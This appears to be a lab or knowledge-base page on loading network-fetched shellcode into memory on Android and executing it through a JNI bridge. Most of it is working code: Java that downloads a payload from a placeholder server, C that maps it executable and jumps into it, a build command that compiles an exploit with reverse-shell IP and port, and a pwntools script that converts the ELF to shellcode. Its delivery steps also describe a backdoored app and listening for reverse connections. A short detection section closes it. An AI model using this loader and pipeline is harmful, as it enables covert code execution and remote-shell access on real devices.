Android In-Memory Native Code Execution via JNI (shellcode)
This page documents a lab pattern for executing native payloads in the memory of an Android app that already includes an authorized JNI library. The flow avoids writing a second ELF payload to disk: retrieve raw bytes over HTTPS, pass them to a JNI bridge, allocate writable memory, change it to executable, and call it.[1]
Why it matters
- Reduces forensic artifacts (no ELF on disk)
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
- Demonstrates a behavior defenders can hunt for: network retrieval followed by an anonymous RW-to-RX transition
High-level pattern
- Fetch shellcode bytes in Java/Kotlin
- Call a native method (JNI) with the byte array
- In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
Minimal example
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
Declare <uses-permission android:name="android.permission.INTERNET" />, run the network operation off the UI thread, close the stream, enforce a maximum response size, and authenticate the payload. InputStream.readAllBytes() is not available on every Android API level, so use a bounded compatibility helper or an HTTP client when targeting older devices.[6]
C JNI side (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Notes and caveats
- W^X/execmem: the sample never maps a page writable and executable at the same time; it transitions RW to RX. Whether an anonymous executable mapping is permitted depends on Android version, app domain, SELinux/vendor policy, and device hardening. ART does maintain a managed JIT code cache, preserving the earlier page’s useful executable-pool distinction, but that cache is not a general JNI API or a drop-in policy bypass. Treat
mprotect()failure as a stop condition rather than attempting to evade policy.[9] - Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
- Entrypoint contract: Decide a convention for the shellcode entry (no arguments versus a structure pointer), keep raw shellcode position-independent, obey the platform ABI (stack alignment and callee-saved registers), and return an
intif using this function pointer type. - Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
Packaging ELF → position‑independent shellcode A robust operator pipeline is to:[2][3]
- Build the test payload as a static ELF using a compiler that targets the device architecture and a compatible Linux ABI
- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append
Build
# amd64 emulator example; use an AArch64 cross-compiler for arm64 devices
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
Transform ELF to raw shellcode (amd64 example)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.amd64.linux.loader_append(elf.data)
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Why loader_append works: it emits architecture-specific loader shellcode followed by the ELF, maps the embedded program segments, and transfers control to its entry point. This does not make an arbitrary ELF compatible with Android: architecture, system-call ABI, static/dynamic linking, relocations, and the process security policy still have to match.[3][7]
Delivery
- Host
scon an authenticated HTTPS server you control; cleartext HTTP is disabled by default for apps targeting Android 9 or later.[8] - The backdoored/test app downloads sc and invokes the JNI bridge shown above
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes[5]
Validation workflow for kernel payloads[4]
- Use a symbolized vmlinux for fast reversing/offset recovery
- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
References
- [1] CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- [2] build.sh (musl-gcc + pwntools pipeline)
- [3] exp2sc.py (pwntools shellcraft.loader_append)
- [4] exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- [5] INSTRUCTIONS.md (setup notes)
- [6] Android Developers - Connect to the network
- [7] pwntools documentation - AMD64 Linux
loader_append - [8] Android 9 behavior changes - cleartext network traffic
- [9] Android Open Source Project - ART just-in-time compiler and code cache